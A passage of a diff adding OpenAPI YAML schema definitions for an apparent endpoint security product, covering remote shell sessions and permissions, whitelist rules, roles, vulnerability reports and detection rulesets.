+        format: uuid
+        title: Id
+        type: string
+      name:
+        maxLength: 2048
+        minLength: 1
+        title: Name
+        type: string
+      sha256:
+        maxLength: 64
+        minLength: 1
+        title: Sha256
+        type: string
+      size:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Size
+        type: integer
+      version:
+        default: 0
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Version
+        type: integer
+    required:
+      - command_id
+      - created_at
+      - creator
+      - description
+      - executable_type
+      - filename
+      - id
+      - name
+      - sha256
+      - size
+    type: object
+  RemoteShellExecutableUpdate:
+    properties:
+      description:
+        minLength: 1
+        title: Description
+        type: string
+      executable_type:
+        enum:
+          - bat
+          - exe
+          - ps1
+          - unknown
+        title: Executable type
+        type: string
+    required:
+      - description
+      - executable_type
+    type: object
+  RemoteShellExecutableUploadRequest:
+    properties:
+      description:
+        minLength: 1
+        title: Description
+        type: string
+      executable_type:
+        enum:
+          - bat
+          - exe
+          - ps1
+          - unknown
+        title: Executable type
+        type: string
+      name:
+        minLength: 1
+        title: Name
+        type: string
+    required:
+      - description
+      - executable_type
+      - name
+    type: object
+  RemoteShellPermission:
+    properties:
+      command_cat:
+        title: Command cat
+        type: boolean
+      command_cd:
+        title: Command cd
+        type: boolean
+      command_chmod:
+        title: Command chmod
+        type: boolean
+      command_chown:
+        title: Command chown
+        type: boolean
+      command_cp:
+        title: Command cp
+        type: boolean
+      command_env:
+        title: Command env
+        type: boolean
+      command_filehash:
+        title: Command filehash
+        type: boolean
+      command_listmount:
+        title: Command listmount
+        type: boolean
+      command_mkdir:
+        title: Command mkdir
+        type: boolean
+      command_mv:
+        title: Command mv
+        type: boolean
+      command_pwd:
+        title: Command pwd
+        type: boolean
+      command_run:
+        title: Command run
+        type: boolean
+      command_set:
+        title: Command set
+        type: boolean
+      command_stat:
+        title: Command stat
+        type: boolean
+      command_unset:
+        title: Command unset
+        type: boolean
+      executable:
+        enum:
+          - disabled
+          - read_only
+          - read_write
+        title: Executable
+        type: string
+      session:
+        enum:
+          - disabled
+          - read_only
+          - read_write
+        title: Session
+        type: string
+    required:
+      - command_cat
+      - command_cd
+      - command_chmod
+      - command_chown
+      - command_cp
+      - command_env
+      - command_filehash
+      - command_listmount
+      - command_mkdir
+      - command_mv
+      - command_pwd
+      - command_run
+      - command_set
+      - command_stat
+      - command_unset
+      - executable
+      - session
+    type: object
+  RemoteShellPollRequest:
+    properties:
+      abort_command_id:
+        format: uuid
+        title: Abort command id
+        type: string
+        x-nullable: true
+      raw_command:
+        maxLength: 8192
+        minLength: 1
+        title: Raw command
+        type: string
+        x-nullable: true
+    type: object
+  RemoteShellPollResponse:
+    properties:
+      commands:
+        items:
+          $ref: '#/definitions/RemoteShellCommandPoll'
+        type: array
+      executables:
+        items:
+          $ref: '#/definitions/RemoteShellExecutablePoll'
+        type: array
+      jobinstances:
+        items:
+          $ref: '#/definitions/JobInstance'
+        type: array
+      session:
+        $ref: '#/definitions/RemoteShellSession'
+      timestamp:
+        title: Timestamp
+        type: number
+    required:
+      - commands
+      - executables
+      - jobinstances
+      - session
+      - timestamp
+    type: object
+  RemoteShellPossibleCommands:
+    properties:
+      commands:
+        items:
+          $ref: '#/definitions/RemoteShellPossibleCommandsCommand'
+        type: array
+      minimum_version:
+        minLength: 1
+        title: Minimum version
+        type: string
+    required:
+      - commands
+      - minimum_version
+    type: object
+  RemoteShellPossibleCommandsCommand:
+    properties:
+      allowed:
+        title: Allowed
+        type: boolean
+      description:
+        minLength: 1
+        title: Description
+        type: string
+      minimum_agent_version:
+        minLength: 1
+        title: Minimum agent version
+        type: string
+      name:
+        enum:
+          - cat
+          - cd
+          - chmod
+          - chown
+          - cp
+          - env
+          - filehash
+          - getdir
+          - getfile
+          - help
+          - kill
+          - listmount
+          - ls
+          - mkdir
+          - mv
+          - ps
+          - pwd
+          - quarantine-add
+          - quarantine-delete
+          - quarantine-get
+          - quarantine-list
+          - quarantine-restore
+          - rm
+          - run
+          - set
+          - stat
+          - unknown
+          - unset
+        title: Name
+        type: string
+      os:
+        items:
+          enum:
+            - linux
+            - macos
+            - windows
+          type: string
+        type: array
+    required:
+      - allowed
+      - description
+      - minimum_agent_version
+      - name
+      - os
+    type: object
+  RemoteShellSession:
+    properties:
+      active:
+        title: Active
+        type: boolean
+      agent:
+        $ref: '#/definitions/SimpleAgent'
+      closed_at:
+        format: date-time
+        title: Closed at
+        type: string
+        x-nullable: true
+      created_at:
+        format: date-time
+        title: Created at
+        type: string
+      cwd:
+        maxLength: 8192
+        title: Cwd
+        type: string
+      duration:
+        readOnly: true
+        title: Duration
+        type: number
+      env:
+        title: Env
+        type: object
+      id:
+        format: uuid
+        title: Id
+        type: string
+      jobs:
+        items:
+          $ref: '#/definitions/SimpleJob'
+        readOnly: true
+        type: array
+      supported_commands:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      unset_env:
+        title: Unset env
+        type: object
+      updated_at:
+        format: date-time
+        title: Updated at
+        type: string
+      user:
+        $ref: '#/definitions/HlSimpleUserSerializer'
+    required:
+      - agent
+      - created_at
+      - id
+      - supported_commands
+      - updated_at
+      - user
+    type: object
+  RemoteShellSessionList:
+    properties:
+      active:
+        title: Active
+        type: boolean
+      agent:
+        $ref: '#/definitions/SimpleAgent'
+      closed_at:
+        format: date-time
+        title: Closed at
+        type: string
+        x-nullable: true
+      created_at:
+        format: date-time
+        title: Created at
+        type: string
+      cwd:
+        maxLength: 8192
+        title: Cwd
+        type: string
+      duration:
+        readOnly: true
+        title: Duration
+        type: number
+      env:
+        title: Env
+        type: object
+      executables:
+        items:
+          $ref: '#/definitions/RemoteShellExecutable'
+        readOnly: true
+        type: array
+      id:
+        format: uuid
+        title: Id
+        type: string
+      jobs:
+        items:
+          $ref: '#/definitions/SimpleJob'
+        readOnly: true
+        type: array
+      supported_commands:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      unset_env:
+        title: Unset env
+        type: object
+      updated_at:
+        format: date-time
+        title: Updated at
+        type: string
+      user:
+        $ref: '#/definitions/HlSimpleUserSerializer'
+    required:
+      - agent
+      - created_at
+      - id
+      - supported_commands
+      - updated_at
+      - user
+    type: object
+  RemoteThread:
+    properties:
+      '@event_create_date':
+        format: date-time
+        title: '@event create date'
+        type: string
+      '@timestamp':
+        format: date-time
+        title: '@timestamp'
+        type: string
+      agent:
+        $ref: '#/definitions/InnerAgent'
+      event_id:
+        title: Event id
+        type: integer
+      groups:
+        $ref: '#/definitions/InnerGroup'
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      log_type:
+        minLength: 1
+        title: Log type
+        type: string
+      new_thread_id:
+        title: New thread id
+        type: integer
+      origin_stack:
+        $ref: '#/definitions/OriginStack'
+      source_image:
+        minLength: 1
+        title: Source image
+        type: string
+      source_process_guid:
+        minLength: 1
+        title: Source process guid
+        type: string
+      source_process_id:
+        title: Source process id
+        type: integer
+      stacktrace:
+        minLength: 1
+        title: Stacktrace
+        type: string
+      stacktrace_minimal:
+        minLength: 1
+        title: Stacktrace minimal
+        type: string
+      start_address:
+        title: Start address
+        type: integer
+      start_address_string:
+        minLength: 1
+        title: Start address string
+        type: string
+      start_function:
+        minLength: 1
+        title: Start function
+        type: string
+      start_module:
+        minLength: 1
+        title: Start module
+        type: string
+      start_module_base:
+        title: Start module base
+        type: integer
+      target_image:
+        minLength: 1
+        title: Target image
+        type: string
+      target_process_guid:
+        minLength: 1
+        title: Target process guid
+        type: string
+      target_process_id:
+        title: Target process id
+        type: integer
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+      username:
+        minLength: 1
+        title: Username
+        type: string
+      utc_time:
+        format: date-time
+        title: Utc time
+        type: string
+    required:
+      - '@event_create_date'
+      - '@timestamp'
+      - agent
+      - event_id
+      - groups
+      - id
+      - log_type
+      - new_thread_id
+      - source_image
+      - source_process_guid
+      - source_process_id
+      - stacktrace
+      - stacktrace_minimal
+      - start_address
+      - start_address_string
+      - start_function
+      - start_module
+      - start_module_base
+      - target_image
+      - target_process_guid
+      - target_process_id
+      - tenant
+      - username
+      - utc_time
+    type: object
+  ReplaceWhitelistRule:
+    properties:
+      apply_retroactively:
+        default: false
+        title: Apply retroactively
+        type: boolean
+      comment:
+        title: Comment
+        type: string
+        x-nullable: true
+      correlation_embedded_rule_id:
+        format: uuid
+        title: Correlation embedded rule id
+        type: string
+        x-nullable: true
+      correlation_rule_id:
+        format: uuid
+        title: Correlation rule id
+        type: string
+        x-nullable: true
+      criteria:
+        items:
+          $ref: '#/definitions/ReplaceWhitelistRuleCriteria'
+        type: array
+      enabled:
+        title: Enabled
+        type: boolean
+      expiration_date:
+        format: date-time
+        title: Expiration date
+        type: string
+        x-nullable: true
+      security_event_from_status:
+        default:
+          - new
+        items:
+          enum:
+            - closed
+            - false_positive
+            - investigating
+            - new
+          type: string
+        type: array
+      security_event_new_status:
+        default: false_positive
+        enum:
+          - closed
+          - false_positive
+          - investigating
+        title: Security event new status
+        type: string
+      sigma_rule_id:
+        title: Sigma rule id
+        type: string
+        x-nullable: true
+      target:
+        enum:
+          - all
+          - cape
+          - correlation
+          - glimps
+          - hlai
+          - hlaiscripts
+          - hurukaiav
+          - ioc
+          - kernelguard
+          - orion
+          - ransom
+          - selfprotection
+          - sidewatch
+          - sigma
+          - telemetry_amsi_scan
+          - telemetry_authentication
+          - telemetry_bpf
+          - telemetry_dns_resolution
+          - telemetry_driver_load
+          - telemetry_etw_ti_ke_insert_queue_apc
+          - telemetry_etw_ti_nt_allocate_virtual_memory
+          - telemetry_etw_ti_nt_map_view_of_section
+          - telemetry_etw_ti_nt_protect_virtual_memory
+          - telemetry_etw_ti_nt_read_virtual_memory
+          - telemetry_etw_ti_nt_resume_process
+          - telemetry_etw_ti_nt_resume_thread
+          - telemetry_etw_ti_nt_set_context_thread
+          - telemetry_etw_ti_nt_suspend_process
+          - telemetry_etw_ti_nt_suspend_thread
+          - telemetry_etw_ti_nt_write_virtual_memory
+          - telemetry_eventlog
+          - telemetry_file
+          - telemetry_group_event
+          - telemetry_injected_thread
+          - telemetry_kube_pod_event
+          - telemetry_library_load
+          - telemetry_named_pipe
+          - telemetry_network
+          - telemetry_network_listen
+          - telemetry_powershell
+          - telemetry_process
+          - telemetry_process_access
+          - telemetry_process_duplicate_handle
+          - telemetry_process_ptrace
+          - telemetry_process_tamper
+          - telemetry_raw_device_access
+          - telemetry_raw_socket_creation
+          - telemetry_registry
+          - telemetry_remote_thread
+          - telemetry_scheduled_task
+          - telemetry_url_request
+          - telemetry_usb_activity
+          - telemetry_user_event
+          - telemetry_win32k_get_async_key_state
+          - telemetry_win32k_register_raw_input_devices
+          - telemetry_win32k_set_windows_hook_ex
+          - telemetry_windows_service
+          - telemetry_wmi_event
+          - vt
+          - yara
+          - yara_memory
+        title: Target
+        type: string
+    required:
+      - criteria
+    type: object
+  ReplaceWhitelistRuleCriteria:
+    properties:
+      case_insensitive:
+        default: false
+        title: Case insensitive
+        type: boolean
+      field:
+        minLength: 1
+        title: Field
+        type: string
+      id:
+        format: uuid
+        title: Id
+        type: string
+      operator:
+        enum:
+          - contains
+          - eq
+          - ncontains
+          - neq
+          - nwildcard
+          - regex
+          - wildcard
+        title: Operator
+        type: string
+      sub_criteria:
+        items:
+          $ref: '#/definitions/WhitelistRuleSubCriterion'
+        type: array
+        x-nullable: true
+      value:
+        title: Value
+        type: string
+    required:
+      - field
+    type: object
+  ReportAgentVulnerabilitiesAggregation:
+    properties:
+      hostname:
+        minLength: 1
+        title: Hostname
+        type: string
+      id:
+        format: uuid
+        title: Id
+        type: string
+      latest_vulnscan_date:
+        format: date-time
+        title: Latest vulnscan date
+        type: string
+      nb_critical_level:
+        title: Nb critical level
+        type: integer
+      nb_high_level:
+        title: Nb high level
+        type: integer
+      nb_low_level:
+        title: Nb low level
+        type: integer
+      nb_medium_level:
+        title: Nb medium level
+        type: integer
+      nb_vulnerabilities:
+        title: Nb vulnerabilities
+        type: integer
+      status:
+        enum:
+          - access_denied
+          - idle
+          - offline
+          - online
+          - unknown
+        readOnly: true
+        title: Status
+        type: string
+    required:
+      - hostname
+      - latest_vulnscan_date
+      - nb_critical_level
+      - nb_high_level
+      - nb_low_level
+      - nb_medium_level
+      - nb_vulnerabilities
+    type: object
+  ReportAgentVulnerabilitiesAggregationListing:
+    properties:
+      count:
+        title: Count
+        type: integer
+      next:
+        minLength: 1
+        title: Next
+        type: string
+        x-nullable: true
+      previous:
+        minLength: 1
+        title: Previous
+        type: string
+        x-nullable: true
+      results:
+        items:
+          $ref: '#/definitions/ReportAgentVulnerabilitiesAggregation'
+        type: array
+    required:
+      - count
+      - results
+    type: object
+  Request:
+    properties:
+      conversation:
+        format: uuid
+        title: Conversation
+        type: string
+        x-nullable: true
+      creation_date:
+        format: date-time
+        readOnly: true
+        title: Creation date
+        type: string
+      id:
+        format: uuid
+        readOnly: true
+        title: Id
+        type: string
+      last_update:
+        format: date-time
+        readOnly: true
+        title: Last update
+        type: string
+      message:
+        title: Message
+        type: string
+      response:
+        minLength: 1
+        readOnly: true
+        title: Response
+        type: string
+        x-nullable: true
+      response_finished:
+        readOnly: true
+        title: Response finished
+        type: boolean
+    type: object
+  RequestToken:
+    properties:
+      is_expirable:
+        default: false
+        title: Is expirable
+        type: boolean
+    type: object
+  ResetPassword:
+    properties:
+      password:
+        minLength: 1
+        title: Password
+        type: string
+      token:
+        minLength: 1
+        title: Token
+        type: string
+      username:
+        minLength: 1
+        title: Username
+        type: string
+    required:
+      - password
+      - token
+      - username
+    type: object
+  ResetPasswordLinkRequest:
+    properties:
+      duration_unit:
+        default: hours
+        enum:
+          - days
+          - hours
+          - minutes
+        title: Duration unit
+        type: string
+      duration_value:
+        title: Duration value
+        type: integer
+      revoke_api_token:
+        default: false
+        title: Revoke api token
+        type: boolean
+      set_password_to_unusable:
+        default: false
+        title: Set password to unusable
+        type: boolean
+    required:
+      - duration_value
+    type: object
+  ResetPasswordLinkResponse:
+    properties:
+      created_at:
+        format: date-time
+        title: Created at
+        type: string
+      created_by:
+        $ref: '#/definitions/HlSimpleUserSerializer'
+      duration_minutes:
+        title: Duration minutes
+        type: integer
+      expires_at:
+        format: date-time
+        title: Expires at
+        type: string
+      reset_token:
+        minLength: 1
+        title: Reset token
+        type: string
+    required:
+      - created_at
+      - created_by
+      - duration_minutes
+      - expires_at
+      - reset_token
+    type: object
+  ResponseMountpoints:
+    properties:
+      mountpoint:
+        minLength: 1
+        title: Mountpoint
+        type: string
+      volumenames:
+        items:
+          minLength: 1
+          type: string
+        type: array
+    required:
+      - mountpoint
+      - volumenames
+    type: object
+  ResponseStatus:
+    properties:
+      status:
+        minLength: 1
+        title: Status
+        type: string
+    required:
+      - status
+    type: object
+  ResponseToken:
+    properties:
+      api_token:
+        readOnly: true
+        title: Api token
+        type: string
+    type: object
+  RestoreFromQuarantine:
+    properties:
+      values:
+        items:
+          $ref: '#/definitions/RestoreFromQuarantineItem'
+        type: array
+    required:
+      - values
+    type: object
+  RestoreFromQuarantineItem:
+    properties:
+      local_id:
+        format: uuid
+        title: Local id
+        type: string
+      overwrite_existing:
+        default: true
+        title: Overwrite existing
+        type: boolean
+    required:
+      - local_id
+    type: object
+  RetrieveAntivirusPolicy:
+    properties:
+      agent_count:
+        readOnly: true
+        title: Agent count
+        type: integer
+      agent_policies:
+        items:
+          $ref: '#/definitions/MinimalPolicy'
+        type: array
+      antivirus_slug:
+        minLength: 1
+        readOnly: true
+        title: Antivirus slug
+        type: string
+      creation_date:
+        format: date-time
+        readOnly: true
+        title: Creation date
+        type: string
+      description:
+        title: Description
+        type: string
+        x-nullable: true
+      hurukaiav:
+        $ref: '#/definitions/HlAntivirus'
+      id:
+        format: uuid
+        title: Id
+        type: string
+      last_modifier:
+        $ref: '#/definitions/HlSimpleUserSerializer'
+      last_update:
+        format: date-time
+        readOnly: true
+        title: Last update
+        type: string
+      name:
+        maxLength: 256
+        minLength: 1
+        title: Name
+        type: string
+      origin_stack:
+        $ref: '#/definitions/OriginStack'
+      revision:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Revision
+        type: integer
+      windowsdefender:
+        $ref: '#/definitions/WindowsDefender'
+    required:
+      - last_modifier
+      - name
+    type: object
+  Role:
+    properties:
+      can_access_all_groups:
+        title: Can access all groups
+        type: boolean
+      description:
+        title: Description
+        type: string
+      group_count:
+        default: 0
+        readOnly: true
+        title: Group count
+        type: integer
+      groups:
+        items:
+          $ref: '#/definitions/BasicGroup'
+        readOnly: true
+        type: array
+      id:
+        format: uuid
+        readOnly: true
+        title: Id
+        type: string
+      is_supervisor_role:
+        title: Is supervisor role
+        type: boolean
+      name:
+        maxLength: 150
+        minLength: 1
+        title: Name
+        type: string
+      old_id:
+        readOnly: true
+        title: Old id
+        type: integer
+      origin_stack:
+        $ref: '#/definitions/OriginStack'
+      permissions:
+        description: Return all permissions with an enabled field
+        items:
+          $ref: '#/definitions/RolePermission'
+        readOnly: true
+        type: array
+      tenant:
+        minLength: 1
+        readOnly: true
+        title: Tenant
+        type: string
+      user_count:
+        default: 0
+        readOnly: true
+        title: User count
+        type: integer
+    required:
+      - name
+    type: object
+  RolePermission:
+    properties:
+      codename:
+        enum:
+          - administration_agent_installers
+          - administration_global_settings
+          - administration_role_edit
+          - administration_role_view
+          - administration_user_edit
+          - administration_user_view
+          - attack_surface_network_discovery_edit
+          - attack_surface_network_discovery_view
+          - attack_surface_vulnerability_edit
+          - attack_surface_vulnerability_view
+          - data_exploration_file_download
+          - data_exploration_investigation_edit
+          - data_exploration_investigation_view
+          - data_exploration_search
+          - data_exploration_telemetry
+          - data_exploration_visualization
+          - detection_sec_event_edit
+          - detection_sec_event_view
+          - detection_threat_edit
+          - detection_threat_view
+          - detection_view_experimental
+          - endpoint_agent_delivery_management_edit
+          - endpoint_agent_delivery_management_view
+          - endpoint_agent_lifecycle
+          - endpoint_lifecycle
+          - endpoint_management_edit
+          - endpoint_management_view
+          - endpoint_policy_edit
+          - endpoint_policy_view
+          - job_acquisition_capture_ram_edit
+          - job_acquisition_capture_ram_view
+          - job_acquisition_collect_raw_data_edit
+          - job_acquisition_collect_raw_data_view
+          - job_acquisition_download_directory_edit
+          - job_acquisition_download_directory_view
+          - job_acquisition_download_file_edit
+          - job_acquisition_download_file_view
+          - job_acquisition_network_sniffer_edit
+          - job_acquisition_network_sniffer_view
+          - job_acquisition_parse_filesystem_edit
+          - job_acquisition_parse_filesystem_view
+          - job_acquisition_process_dumper_edit
+          - job_acquisition_process_dumper_view
+          - job_debug_agent_diagnostic_edit
+          - job_debug_agent_diagnostic_view
+          - job_debug_minidump_edit
+          - job_debug_minidump_view
+          - job_debug_profile_memory_edit
+          - job_debug_profile_memory_view
+          - job_evidence_prefetch_edit
+          - job_evidence_prefetch_view
+          - job_info_drivers_edit
+          - job_info_drivers_view
+          - job_info_list_directory_contents_edit
+          - job_info_list_directory_contents_view
+          - job_info_network_shares_edit
+          - job_info_network_shares_view
+          - job_info_pip_list_edit
+          - job_info_pip_list_view
+          - job_info_processes_edit
+          - job_info_processes_view
+          - job_info_sessions_edit
+          - job_info_sessions_view
+          - job_info_windows_kb_edit
+          - job_info_windows_kb_view
+          - job_persistence_linux_persistence_edit
+          - job_persistence_linux_persistence_view
+          - job_persistence_registry_edit
+          - job_persistence_registry_view
+          - job_persistence_scheduled_tasks_edit
+          - job_persistence_scheduled_tasks_view
+          - job_persistence_startup_files_edit
+          - job_persistence_startup_files_view
+          - job_persistence_wmi_edit
+          - job_persistence_wmi_view
+          - job_remediation_file_deletion_edit
+          - job_remediation_file_deletion_view
+          - job_remediation_process_kill_edit
+          - job_remediation_process_kill_view
+          - job_remediation_quarantine_files_edit
+          - job_remediation_quarantine_files_view
+          - job_remediation_registry_operation_edit
+          - job_remediation_registry_operation_view
+          - job_remediation_scheduled_task_deletion_edit
+          - job_remediation_scheduled_task_deletion_view
+          - job_remediation_service_deletion_edit
+          - job_remediation_service_deletion_view
+          - job_scan_antivirus_scan_edit
+          - job_scan_antivirus_scan_view
+          - job_scan_ioc_scan_edit
+          - job_scan_ioc_scan_view
+          - job_scan_yara_scan_edit
+          - job_scan_yara_scan_view
+          - llm_chat_send_messages
+          - llm_chat_view_messages
+          - misc_api_documentation
+          - misc_product_documentation
+          - monitoring_agent_logs
+          - monitoring_ui
+          - protection_antivirus_edit
+          - protection_antivirus_view
+          - protection_device_control_edit
+          - protection_device_control_view
+          - protection_fim_edit
+          - protection_fim_view
+          - protection_firewall_edit
+          - protection_firewall_view
+          - remediation_isolation
+          - remote_shell_command_cat
+          - remote_shell_command_cd
+          - remote_shell_command_chmod
+          - remote_shell_command_chown
+          - remote_shell_command_cp
+          - remote_shell_command_env
+          - remote_shell_command_filehash
+          - remote_shell_command_listmount
+          - remote_shell_command_mkdir
+          - remote_shell_command_mv
+          - remote_shell_command_pwd
+          - remote_shell_command_run
+          - remote_shell_command_set
+          - remote_shell_command_stat
+          - remote_shell_command_unset
+          - remote_shell_executable_edit
+          - remote_shell_executable_view
+          - remote_shell_session_edit
+          - remote_shell_session_view
+          - threat_intelligence_edit
+          - threat_intelligence_experimental
+          - threat_intelligence_view
+          - threat_intelligence_whitelist_edit
+          - threat_intelligence_whitelist_view
+        title: Codename
+        type: string
+      enabled:
+        readOnly: true
+        title: Enabled
+        type: boolean
+      id:
+        readOnly: true
+        title: Id
+        type: integer
+      name:
+        maxLength: 255
+        minLength: 1
+        title: Name
+        type: string
+      type:
+        readOnly: true
+        title: Type
+        type: string
+    required:
+      - codename
+      - name
+    type: object
+  Rule:
+    properties:
+      count:
+        default: 0
+        title: Count
+        type: integer
+      level:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      name:
+        minLength: 1
+        title: Name
+        type: string
+    required:
+      - level
+      - name
+    type: object
+  RuleUpdateRuleset:
+    properties:
+      actions:
+        $ref: '#/definitions/Actions'
+      new_state:
+        enum:
+          - alert
+          - backend_alert
+          - block
+          - default
+          - disabled
+          - quarantine
+        title: New state
+        type: string
+      rule_ids:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      set_default:
+        default: false
+        title: Set default
+        type: boolean
+      source_id:
+        minLength: 1
+        title: Source id
+        type: string
+      update_by_query:
+        default: false
+        title: Update by query
+        type: boolean
+    required:
+      - source_id
+    type: object
+  Ruleset:
+    properties:
+      alert_rule_count:
+        default: 0
+        readOnly: true
+        title: Alert rule count
+        type: integer
+      block_on_agent:
+        title: Block on agent
+        type: boolean
+      block_rule_count:
+        default: 0
+        readOnly: true
+        title: Block rule count
+        type: integer
+      cap_unmodified_sources_allowed_actions:
+        title: Cap unmodified sources allowed actions
+        type: boolean
+      config_slug:
+        enum:
+          - alert_block_and_quarantine_moderate_and_strong
+          - alert_block_and_quarantine_strong
+          - alert_moderate_block_quarantine_strong
+          - alert_weak_and_moderate_block_quarantine_strong
+          - alert_weak_block_quarantine_moderate_and_strong
+        title: Config slug
+        type: string
+        x-nullable: true
+      creation_date:
+        format: date-time
+        readOnly: true
+        title: Creation date
+        type: string
+      default_rule_count:
+        minimum: 0
+        readOnly: true
+        title: Default rule count
+        type: integer
+      description:
+        title: Description
+        type: string
+      disabled_rule_count:
+        default: 0
+        readOnly: true
+        title: Disabled rule count
+        type: integer
+      enabled:
+        title: Enabled
+        type: boolean
+      endpoint_detection:
+        title: Endpoint detection
+        type: boolean
+      engine:
+        enum:
+          - correlation
+          - ioc
+          - sigma
+          - yara
+        title: Engine
+        type: string
+      id:
+        format: uuid
+        title: Id
+        type: string
+      last_modifier:
+        $ref: '#/definitions/HlSimpleUserSerializer'
+      last_update:
+        format: date-time
+        readOnly: true
+        title: Last update
+        type: string
+      name:
+        maxLength: 128
+        minLength: 1
+        title: Name
+        type: string
+      new_source_state:
+        enum:
+          - alert
+          - backend_alert
+          - block
+          - default
+          - disabled
+          - quarantine
+        title: New source state
+        type: string
+      origin_stack:
+        $ref: '#/definitions/OriginStack'
+      policies:
+        items:
+          $ref: '#/definitions/PolicyLight'
+        readOnly: true
+        type: array
+      quarantine_on_agent:
+        title: Quarantine on agent
+        type: boolean
+      quarantine_rule_count:
+        default: 0
+        readOnly: true
+        title: Quarantine rule count
+        type: integer
+      read_only:
+        readOnly: true
+        title: Read only
+        type: boolean
+    required:
+      - engine
+      - name
+    type: object
+  RulesetLight:
+    properties:
+      alert_rule_count:
+        default: 0
+        readOnly: true
+        title: Alert rule count
+        type: integer
+      block_on_agent:
+        title: Block on agent
+        type: boolean
+      block_rule_count:
+        default: 0
+        readOnly: true
+        title: Block rule count
+        type: integer
+      cap_unmodified_sources_allowed_actions:
+        title: Cap unmodified sources allowed actions
+        type: boolean
+      config_slug:
+        enum:
+          - alert_block_and_quarantine_moderate_and_strong
+          - alert_block_and_quarantine_strong
+          - alert_moderate_block_quarantine_strong
+          - alert_weak_and_moderate_block_quarantine_strong
+          - alert_weak_block_quarantine_moderate_and_strong
+        title: Config slug
+        type: string
+        x-nullable: true
+      creation_date:
+        format: date-time
+        readOnly: true
+        title: Creation date
+        type: string
+      default_rule_count:
+        minimum: 0
+        readOnly: true
+        title: Default rule count
+        type: integer
+      description:
+        title: Description
+        type: string
+      disabled_rule_count:
+        default: 0
+        readOnly: true
+        title: Disabled rule count
+        type: integer
+      enabled:
+        title: Enabled
+        type: boolean
+      endpoint_detection:
+        title: Endpoint detection
+        type: boolean
+      engine:
+        enum:
+          - correlation
+          - ioc
+          - sigma
+          - yara
+        title: Engine
+        type: string
+      id:
+        format: uuid
+        title: Id
+        type: string
+      last_modifier:
+        $ref: '#/definitions/HlSimpleUserSerializer'
+      last_update:
+        format: date-time
+        readOnly: true
+        title: Last update
+        type: string
+      name:
+        maxLength: 128
+        minLength: 1
+        title: Name
+        type: string
+      new_source_state:
+        enum:
+          - alert
+          - backend_alert
+          - block
+          - default
+          - disabled
+          - quarantine
+        title: New source state
+        type: string
+      origin_stack:
+        $ref: '#/definitions/OriginStack'
+      quarantine_on_agent:
+        title: Quarantine on agent
+        type: boolean
+      quarantine_rule_count:
+        default: 0
+        readOnly: true
+        title: Quarantine rule count
+        type: integer
+      read_only:
+        title: Read only
+        type: boolean
+    required:
+      - engine
+      - name
+    type: object
+  RulesetRuleSerializer:
+    properties:
+      block_on_agent:
+        title: Block on agent
+        type: boolean
+      enabled:
+        title: Enabled
+        type: boolean
+      endpoint_detection:
+        title: Endpoint detection
+        type: boolean
+      id:
+        format: uuid
+        readOnly: true
+        title: Id
+        type: string
+      origin_stack:
+        $ref: '#/definitions/OriginStack'
+      origin_stack_id:
+        maxLength: 64
+        minLength: 1
+        title: Origin stack id
+        type: string
+        x-nullable: true
+      quarantine_on_agent:
+        title: Quarantine on agent
+        type: boolean
+      rule_id:
+        minLength: 1
+        readOnly: true
+        title: Rule id
+        type: string
+      rule_type:
+        readOnly: true
+        title: Rule type
+        type: integer
+        x-nullable: true
+      ruleset:
+        format: uuid
+        title: Ruleset
+        type: string
+      synchronization_status:
+        format: uuid
+        title: Synchronization status
+        type: string
+        x-nullable: true
+    required:
+      - block_on_agent
+      - enabled
+      - endpoint_detection
+      - quarantine_on_agent
+      - ruleset
+    type: object
+  RulesetSourceRuleDefaultSerializer:
+    properties:
+      block_on_agent:
+        title: Block on agent
+        type: boolean
+      enabled:
+        title: Enabled
+        type: boolean
+      endpoint_detection:
+        title: Endpoint detection
+        type: boolean
+      id:
+        format: uuid
+        readOnly: true
+        title: Id
+        type: string
+      origin_stack:
+        $ref: '#/definitions/OriginStack'
+      origin_stack_id:
+        maxLength: 64
+        minLength: 1
+        title: Origin stack id
+        type: string
+        x-nullable: true
+      quarantine_on_agent:
+        title: Quarantine on agent
+        type: boolean
+      ruleset:
+        format: uuid
+        title: Ruleset
+        type: string
+      source_id:
+        minLength: 1
+        readOnly: true
+        title: Source id
+        type: string
+      source_type:
+        readOnly: true
+        title: Source type
+        type: integer
+        x-nullable: true
+      synchronization_status:
+        format: uuid
+        title: Synchronization status
+        type: string
+        x-nullable: true
+    required:
+      - block_on_agent
+      - enabled
+      - endpoint_detection
+      - quarantine_on_agent
+      - ruleset
+    type: object
+  RulesetSourceSerializer:
+    properties:
+      block_on_agent:
+        title: Block on agent
+        type: boolean
+      enabled:
+        title: Enabled
+        type: boolean
+      endpoint_detection:
+        title: Endpoint detection
+        type: boolean
+      force_inherit_source_state:
+        title: Force inherit source state
+        type: boolean
+      id:
+        format: uuid
+        readOnly: true
+        title: Id
+        type: string
+      origin_stack:
+        $ref: '#/definitions/OriginStack'
+      origin_stack_id:
+        maxLength: 64
+        minLength: 1
+        title: Origin stack id
+        type: string
+        x-nullable: true
+      quarantine_on_agent:
+        title: Quarantine on agent
+        type: boolean
+      ruleset:
+        format: uuid
+        title: Ruleset
+        type: string
+      source_id:
+        minLength: 1
+        readOnly: true
+        title: Source id
+        type: string
+      source_type:
+        readOnly: true
+        title: Source type
+        type: integer
+        x-nullable: true
+      synchronization_status:
+        format: uuid
+        title: Synchronization status
+        type: string
+        x-nullable: true
+    required:
+      - block_on_agent
+      - enabled
+      - endpoint_detection
+      - force_inherit_source_state
+      - quarantine_on_agent
+      - ruleset
+    type: object
+  RulesetUpdate:
+    properties:
+      alert_rule_count:
+        default: 0
+        readOnly: true
+        title: Alert rule count
+        type: integer
+      block_on_agent:
+        title: Block on agent
+        type: boolean
+      block_rule_count:
+        default: 0
+        readOnly: true
+        title: Block rule count
+        type: integer
+      cap_unmodified_sources_allowed_actions:
+        title: Cap unmodified sources allowed actions
+        type: boolean
+      creation_date:
+        format: date-time
+        readOnly: true
+        title: Creation date
+        type: string
+      default_rule_count:
+        minimum: 0
+        readOnly: true
+        title: Default rule count
+        type: integer
+      description:
+        title: Description
+        type: string
+      disabled_rule_count:
+        default: 0
+        readOnly: true
